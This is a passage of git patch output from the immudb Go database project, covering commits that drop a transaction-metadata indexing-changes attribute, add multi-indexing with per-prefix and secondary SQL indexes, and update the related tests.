binary.BigEndian.PutUint64(b[i:], uint64(c.InitialTs)) - i += tsSize - - binary.BigEndian.PutUint64(b[i:], uint64(c.FinalTs)) - i += tsSize - } - } - - return b[:i] -} - -// deserialize deserializes the attribute. -func (a *indexingChangesAttribute) deserialize(b []byte) (int, error) { - n := 0 - - if len(b) < sszSize { - return n, ErrCorruptedData - } - - changesCount := int(binary.BigEndian.Uint16(b[n:])) - n += sszSize - - if changesCount > MaxNumberOfIndexChangesPerTx { - return n, ErrCorruptedData - } - - a.changes = make([]IndexChange, changesCount) - - for i := 0; i < changesCount; i++ { - if len(b) < 1 { - return n, ErrCorruptedData - } - - changeType := b[n] - n++ - - if changeType == indexDeletionChange { - if len(b) < minIndexDeletionSize { - return n, ErrCorruptedData - } - - change := &IndexDeletionChange{} - - prefixLen := int(binary.BigEndian.Uint16(b[n:])) - n += sszSize - - change.Prefix = b[n : n+prefixLen] - n += prefixLen - - a.changes[i] = change - continue - } - - if changeType == indexCreationChange { - if len(b) < minIndexCreationSize { - return n, ErrCorruptedData - } - - change := &IndexCreationChange{} - - prefixLen := int(binary.BigEndian.Uint16(b[n:])) - n += sszSize - - change.Prefix = b[n : n+prefixLen] - n += prefixLen - - change.InitialTxID = binary.BigEndian.Uint64(b[n:]) - n += txIDSize - - change.FinalTxID = binary.BigEndian.Uint64(b[n:]) - n += txIDSize - - change.InitialTs = int64(binary.BigEndian.Uint64(b[n:])) - n += tsSize - - change.FinalTs = int64(binary.BigEndian.Uint64(b[n:])) - n += tsSize - - a.changes[i] = change - continue - } - - return n, ErrCorruptedData - } - - return n, nil -} - func getAttributeFrom(attrCode attributeCode) (attribute, error) { switch attrCode { case truncatedUptoTxAttrCode: { return &truncatedUptoTxAttribute{}, nil } - case indexingChangesAttrCode: - { - return &indexingChangesAttribute{}, nil - } default: { return nil, fmt.Errorf("error reading tx metadata attributes: %w", ErrCorruptedData) @@ -296,7 +102,7 @@ func (md *TxMetadata) Equal(amd *TxMetadata) bool { func (md *TxMetadata) Bytes() []byte { var b bytes.Buffer - for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode, indexingChangesAttrCode} { + for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) @@ -375,25 +181,3 @@ func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { attr.(*truncatedUptoTxAttribute).txID = txID return md } - -func (md *TxMetadata) WithIndexingChanges(indexingChanges []IndexChange) *TxMetadata { - if len(indexingChanges) == 0 { - delete(md.attributes, indexingChangesAttrCode) - return md - } - - md.attributes[indexingChangesAttrCode] = &indexingChangesAttribute{ - changes: indexingChanges, - } - - return md -} - -func (md *TxMetadata) GetIndexingChanges() []IndexChange { - attr, ok := md.attributes[indexingChangesAttrCode] - if !ok { - return nil - } - - return attr.(*indexingChangesAttribute).changes -} diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index aecef01d3d..a21f42aaba 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -73,27 +73,11 @@ func TestTxMetadataWithAttributes(t *testing.T) { require.False(t, desmd.IsEmpty()) - changes := desmd.GetIndexingChanges() - require.Nil(t, changes) - - desmd.WithIndexingChanges(nil) - changes = desmd.GetIndexingChanges() - require.Nil(t, changes) - - specChanges := []IndexChange{ - &IndexDeletionChange{}, - &IndexCreationChange{}, - } - desmd.WithIndexingChanges(specChanges) - changes = desmd.GetIndexingChanges() - require.Len(t, changes, 2) - bs = desmd.Bytes() require.NotNil(t, bs) - require.Less(t, len(bs), maxTxMetadataLen) + require.LessOrEqual(t, len(bs), maxTxMetadataLen) err = desmd.ReadFrom(bs) require.NoError(t, err) require.True(t, desmd.HasTruncatedTxID()) - require.Len(t, desmd.GetIndexingChanges(), 2) } diff --git a/pkg/database/database.go b/pkg/database/database.go index 4aeaa0582f..a14f9bc322 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -200,6 +200,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l stOpts := op.GetStoreOptions(). WithLogger(log). + WithMultiIndexing(true). WithExternalCommitAllowance(op.syncReplication) dbi.st, err = store.Open(dbDir, stOpts) @@ -294,6 +295,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo stOpts := op.GetStoreOptions(). WithExternalCommitAllowance(op.syncReplication). + WithMultiIndexing(true). WithLogger(log) dbi.st, err = store.Open(dbDir, stOpts) From 7db6ff8aa33464c7de3f6f8c3babec600d990796 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 21 Aug 2023 02:18:00 -0300 Subject: [PATCH 0736/1062] chore(pkg/database): multi-indexing database Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 24 ++++++++++++------------ pkg/database/database.go | 32 ++++++++++++++++++++++++++------ pkg/database/scan.go | 3 +-- pkg/database/sorted_set.go | 14 ++++++++++---- pkg/database/truncator.go | 2 ++ pkg/database/truncator_test.go | 8 ++++---- pkg/integration/client_test.go | 10 ++++++---- 7 files changed, 61 insertions(+), 32 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0442a89075..4407e5d646 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2189,17 +2189,13 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } defer otx.Cancel() - // preCommitWith is limited to default index and it may be deprecated in the near future - indexer, err := s.getIndexerFor(nil) - if err != nil { - if errors.Is(err, ErrIndexNotFound) { - return nil, ErrKeyNotFound - } - return nil, err - } + s.indexersMux.Lock() + defer s.indexersMux.Unlock() - indexer.Pause() - defer indexer.Resume() + for _, indexer := range s.indexers { + indexer.Pause() + defer indexer.Resume() + } lastPreCommittedTxID := s.LastPrecommittedTxID() @@ -2223,7 +2219,9 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } if otx.hasPreconditions() { - indexer.Resume() + for _, indexer := range s.indexers { + indexer.Resume() + } // Preconditions must be executed with up-to-date tree err = s.WaitForIndexingUpto(ctx, lastPreCommittedTxID) @@ -2236,7 +2234,9 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 return nil, err } - indexer.Pause() + for _, indexer := range s.indexers { + indexer.Pause() + } } tx, err := s.fetchAllocTx() diff --git a/pkg/database/database.go b/pkg/database/database.go index a14f9bc322..af7ffb47d5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -208,6 +208,16 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, logErr(dbi.Logger, "unable to open database: %s", err) } + for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix, SQLPrefix, DocumentPrefix} { + err := dbi.st.InitIndex(&store.IndexSpec{ + Prefix: []byte{prefix}, + }) + if err != nil { + dbi.st.Close() + return nil, logErr(dbi.Logger, "unable to open database: %s", err) + } + } + dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, op.replica) sqlOpts := sql.DefaultOptions(). @@ -303,6 +313,16 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "unable to open database: %s", err) } + for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix, SQLPrefix, DocumentPrefix} { + err := dbi.st.InitIndex(&store.IndexSpec{ + Prefix: []byte{prefix}, + }) + if err != nil { + dbi.st.Close() + return nil, logErr(dbi.Logger, "unable to open database: %s", err) + } + } + txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) @@ -872,7 +892,7 @@ func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema // GetAll ... func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { - snap, err := d.snapshotSince(ctx, req.SinceTx) + snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } @@ -955,7 +975,7 @@ func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, err defer d.releaseTx(tx) if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(ctx, req.SinceTx) + snap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } @@ -971,7 +991,7 @@ func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, err return d.serializeTx(tx, req.EntriesSpec, snap, true) } -func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, error) { +func (d *db) snapshotSince(ctx context.Context, prefix []byte, txID uint64) (*store.Snapshot, error) { currTxID, _ := d.st.CommittedAlh() if txID > currTxID { @@ -983,7 +1003,7 @@ func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, e waitUntilTx = currTxID } - return d.st.SnapshotMustIncludeTxID(ctx, nil, waitUntilTx) + return d.st.SnapshotMustIncludeTxID(ctx, prefix, waitUntilTx) } func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { @@ -1388,7 +1408,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque var err error if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(ctx, req.SinceTx) + snap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } @@ -1465,7 +1485,7 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL limit = d.maxResultSize } - snap, err := d.snapshotSince(ctx, req.SinceTx) + snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 98bec140ce..54c62da9aa 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -49,7 +49,6 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries } seekKey := req.SeekKey - if len(seekKey) > 0 { seekKey = EncodeKey(req.SeekKey) } @@ -59,7 +58,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries endKey = EncodeKey(req.EndKey) } - snap, err := d.snapshotSince(ctx, req.SinceTx) + snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index a7ed2e6f5a..49f7d79b64 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -158,13 +158,13 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr binary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey):], req.SeekAtTx) } - snap, err := d.snapshotSince(ctx, req.SinceTx) + zsnap, err := d.snapshotSince(ctx, []byte{SortedSetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } - defer snap.Close() + defer zsnap.Close() - r, err := snap.NewKeyReader( + r, err := zsnap.NewKeyReader( store.KeyReaderSpec{ SeekKey: seekKey, Prefix: prefix, @@ -178,6 +178,12 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr } defer r.Close() + kvsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) + if err != nil { + return nil, err + } + defer kvsnap.Close() + entries := &schema.ZEntries{} for l := 1; l <= limit; l++ { @@ -208,7 +214,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) - e, err := d.getAtTx(key, atTx, 1, snap, 0, true) + e, err := d.getAtTx(key, atTx, 1, kvsnap, 0, true) if errors.Is(err, store.ErrKeyNotFound) { // ignore deleted ones (referenced key may have been deleted) continue diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 8863aeb94a..1207436849 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -105,6 +105,8 @@ func (v *vlogTruncator) commitCatalog(ctx context.Context, txID uint64) (*store. // setting the metadata to record the transaction upto which the log was truncated tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) + tx.RequireMVCCOnFollowingTxs(true) + // commit catalogue as a new transaction return tx.Commit(ctx) } diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 8bb75f75f2..79a90a8148 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -669,8 +669,8 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) - require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) + err = NewVlogTruncator(db).TruncateUptoTx(context.Background(), hdr.ID) + require.NoError(t, err) // should add two extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -724,8 +724,8 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) - require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) + err = NewVlogTruncator(db).TruncateUptoTx(context.Background(), hdr.ID) + require.NoError(t, err) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index c3b9beed59..cd43bb084a 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -1195,15 +1195,17 @@ func TestImmuClient_CurrentRoot(t *testing.T) { func TestImmuClient_Count(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) - _, err := client.Count(ctx, []byte(`key1`)) - require.ErrorContains(t, err, server.ErrNotSupported.Error()) + res, err := client.Count(ctx, []byte(`key1`)) + require.NoError(t, err) + require.Zero(t, res.Count) } func TestImmuClient_CountAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) - _, err := client.CountAll(ctx) - require.ErrorContains(t, err, server.ErrNotSupported.Error()) + res, err := client.CountAll(ctx) + require.NoError(t, err) + require.Zero(t, res.Count) } /* From 34ae281ae728745457858299bbca6a17aee05132 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 23 Aug 2023 06:52:50 -0300 Subject: [PATCH 0737/1062] feat(embedded/sql): dynamic multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/document/errors.go | 5 - embedded/document/errors_test.go | 1 - embedded/sql/catalog.go | 42 +++--- embedded/sql/engine.go | 133 ++++++++++++++++++- embedded/sql/engine_test.go | 51 +++---- embedded/sql/row_reader.go | 24 ++-- embedded/sql/sql_tx.go | 9 +- embedded/sql/stmt.go | 219 +++++-------------------------- embedded/store/immustore.go | 68 ++++++---- embedded/store/immustore_test.go | 27 +++- embedded/store/indexer.go | 33 ++++- embedded/store/ongoing_tx.go | 2 + pkg/database/database.go | 12 +- 13 files changed, 321 insertions(+), 305 deletions(-) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index d86b967281..c0c6fcdba4 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -35,7 +35,6 @@ var ( ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") ErrReservedName = errors.New("reserved name") - ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") ) @@ -64,10 +63,6 @@ func mayTranslateError(err error) error { return ErrFieldDoesNotExist } - if errors.Is(err, sql.ErrLimitedIndexCreation) { - return ErrLimitedIndexCreation - } - if errors.Is(err, store.ErrTxReadConflict) { return ErrConflict } diff --git a/embedded/document/errors_test.go b/embedded/document/errors_test.go index 8e3d9558df..d3381db7ce 100644 --- a/embedded/document/errors_test.go +++ b/embedded/document/errors_test.go @@ -36,7 +36,6 @@ func TestMayTranslateError(t *testing.T) { {sql.ErrNoMoreRows, ErrNoMoreDocuments}, {sql.ErrColumnAlreadyExists, ErrFieldAlreadyExists}, {sql.ErrColumnDoesNotExist, ErrFieldDoesNotExist}, - {sql.ErrLimitedIndexCreation, ErrLimitedIndexCreation}, {store.ErrTxReadConflict, ErrConflict}, {store.ErrKeyAlreadyExists, ErrConflict}, {errCustom, errCustom}, diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index ed9e6d3a98..fbe96014ab 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -183,6 +183,10 @@ func (i *Index) IncludesCol(colID uint32) bool { return ok } +func (i *Index) catalogPrefix() []byte { + return i.table.catalog.prefix +} + func (i *Index) sortableUsing(colID uint32, rangesByColID map[uint32]*typedValueRange) bool { // all columns before colID must be fixedValues otherwise the index can not be used for _, col := range i.cols { @@ -205,10 +209,6 @@ func (i *Index) prefix() string { return PIndexPrefix } - if i.IsUnique() { - return UIndexPrefix - } - return SIndexPrefix } @@ -493,7 +493,7 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { func (catlg *Catalog) load(tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(catlg.prefix, catalogTablePrefix, EncodeID(1)), + Prefix: MapKey(catlg.prefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired}, } @@ -584,7 +584,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)), + Prefix: MapKey(sqlPrefix, PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)), DescOrder: true, } @@ -603,7 +603,7 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err } func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) + initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -663,7 +663,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( } func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) + initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -830,14 +830,24 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er return nil, ErrCorruptedData } - if len(enc) <= EncIDLen*3 { + if index.IsPrimary() && len(enc) <= EncIDLen*3 { + return nil, ErrCorruptedData + } + + if !index.IsPrimary() && len(enc) <= EncIDLen*2 { return nil, ErrCorruptedData } off := 0 - dbID := binary.BigEndian.Uint32(enc[off:]) - off += EncIDLen + var dbID uint32 + + if index.IsPrimary() { + dbID = binary.BigEndian.Uint32(enc[off:]) + off += EncIDLen + } else { + dbID = 1 + } tableID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen @@ -885,10 +895,6 @@ func variableSizedType(sqlType SQLValueType) bool { return sqlType == VarcharType || sqlType == BLOBType } -func mapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { - return MapKey(prefix, mappingPrefix, encValues...) -} - func MapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { mkeyLen := len(prefix) + len(mappingPrefix) @@ -1280,7 +1286,7 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { // addSchemaToTx adds the schema to the ongoing transaction. func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) + initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -1331,7 +1337,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { // addSchemaToTx adds the schema of the catalog to the given transaction. func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), + Prefix: MapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -1400,7 +1406,7 @@ func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error // addColSpecsToTx adds the column specs of the given table to the given transaction. func addColSpecsToTx(tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) + initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 99b3ed6830..23084077a1 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -18,6 +18,7 @@ package sql import ( "context" + "encoding/binary" "errors" "fmt" "strings" @@ -79,7 +80,6 @@ var ErrDivisionByZero = errors.New("division by zero") var ErrMissingParameter = errors.New("missing parameter") var ErrUnsupportedParameter = errors.New("unsupported parameter") var ErrDuplicatedParameters = errors.New("duplicated parameters") -var ErrLimitedIndexCreation = errors.New("index creation is only supported on empty tables") var ErrTooManyRows = errors.New("too many rows") var ErrAlreadyClosed = store.ErrAlreadyClosed var ErrAmbiguousSelector = errors.New("ambiguous selector") @@ -111,8 +111,8 @@ type MultiDBHandler interface { ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } -func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { - if store == nil { +func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { + if st == nil { return nil, ErrIllegalArguments } @@ -122,7 +122,7 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { } e := &Engine{ - store: store, + store: st, prefix: make([]byte, len(opts.prefix)), distinctLimit: opts.distinctLimit, autocommit: opts.autocommit, @@ -132,6 +132,15 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { copy(e.prefix, opts.prefix) + for _, prefix := range []string{catalogPrefix, PIndexPrefix} { + err = st.InitIndexing(&store.IndexSpec{ + TargetPrefix: append(e.prefix, []byte(prefix)...), + }) + if err != nil { + return nil, err + } + } + // TODO: find a better way to handle parsing errors yyErrorVerbose = true @@ -170,6 +179,44 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } + for _, table := range catalog.GetTables() { + primaryIndex := table.primaryIndex + + pkEntryPrefix := MapKey( + e.prefix, + primaryIndex.prefix(), + EncodeID(1), + EncodeID(table.id), + EncodeID(primaryIndex.id), + ) + + for _, index := range table.indexes { + if index.IsPrimary() { + continue + } + + secondaryEntryPrefix := MapKey( + e.prefix, + index.prefix(), + EncodeID(table.id), + EncodeID(index.id), + ) + + err = e.store.InitIndexing(&store.IndexSpec{ + SourcePrefix: pkEntryPrefix, + EntryMapper: secondaryIndexEntryMapperFor(index), + + TargetPrefix: secondaryEntryPrefix, + }) + if errors.Is(err, store.ErrIndexAlreadyInitialized) { + continue + } + if err != nil { + return nil, err + } + } + } + return &SQLTx{ engine: e, opts: opts, @@ -180,6 +227,84 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { }, nil } +func secondaryIndexEntryMapperFor(index *Index) store.EntryMapper { + // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) + // key=S{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ + + encodedValues := make([][]byte, 2+len(index.cols)+1) + encodedValues[0] = EncodeID(index.table.id) + encodedValues[1] = EncodeID(index.id) + + values := make(map[uint32]TypedValue, len(index.cols)) + + for _, col := range index.cols { + values[col.id] = &NullValue{t: col.colType} + } + + valueExtractor := func(value []byte) error { + voff := 0 + + cols := int(binary.BigEndian.Uint32(value[voff:])) + voff += EncLenLen + + for i := 0; i < cols; i++ { + if len(value) < EncIDLen { + return fmt.Errorf("key is lower than required") + } + + colID := binary.BigEndian.Uint32(value[voff:]) + voff += EncIDLen + + col, err := index.table.GetColumnByID(colID) + if err != nil { + return err + } + + val, n, err := DecodeValue(value[voff:], col.colType) + if err != nil { + return err + } + + voff += n + + if !index.IncludesCol(colID) { + continue + } + + values[colID] = val + } + + return nil + } + + return func(key, value []byte) ([]byte, error) { + catalogPrefix := index.catalogPrefix() + + if len(key) < len(catalogPrefix)+len(PIndexPrefix)+3*EncIDLen { + return nil, fmt.Errorf("key is lower than required") + } + + pkEncVals := key[len(catalogPrefix)+len(PIndexPrefix)+3*EncIDLen:] // remove R.{1}{tableID}{0} from the key + encodedValues[len(encodedValues)-1] = pkEncVals + + err := valueExtractor(value) + if err != nil { + return nil, err + } + + for i, col := range index.cols { + encKey, _, err := EncodeValueAsKey(values[col.id], col.Type(), col.MaxLen()) + if err != nil { + return nil, err + } + + encodedValues[2+i] = encKey + } + + return MapKey(index.catalogPrefix(), SIndexPrefix, encodedValues...), nil + } +} + func (e *Engine) Exec(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index eb44bcf1fa..41ef35268b 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -45,7 +45,7 @@ func closeStore(t *testing.T, st *store.ImmuStore) { } func setupCommonTest(t *testing.T) *Engine { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) @@ -56,7 +56,7 @@ func setupCommonTest(t *testing.T) *Engine { } func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -71,7 +71,7 @@ func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { } func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -88,7 +88,7 @@ func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { } func TestCreateTable(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -932,7 +932,7 @@ func TestAddColumn(t *testing.T) { dir := t.TempDir() t.Run("create-store", func(t *testing.T) { - st, err := store.Open(dir, store.DefaultOptions()) + st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -987,7 +987,7 @@ func TestAddColumn(t *testing.T) { }) t.Run("reopen-store", func(t *testing.T) { - st, err := store.Open(dir, store.DefaultOptions()) + st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1016,7 +1016,7 @@ func TestRenameColumn(t *testing.T) { dir := t.TempDir() t.Run("create-store", func(t *testing.T) { - st, err := store.Open(dir, store.DefaultOptions()) + st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1076,7 +1076,7 @@ func TestRenameColumn(t *testing.T) { }) t.Run("reopen-store", func(t *testing.T) { - st, err := store.Open(dir, store.DefaultOptions()) + st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1152,11 +1152,11 @@ func TestCreateIndex(t *testing.T) { require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) - require.ErrorIs(t, err, ErrLimitedIndexCreation) + require.NoError(t, err) } func TestUpsertInto(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1461,7 +1461,7 @@ func TestAutoIncrementPK(t *testing.T) { } func TestDelete(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1570,7 +1570,7 @@ func TestErrorDuringDelete(t *testing.T) { } func TestUpdate(t *testing.T) { 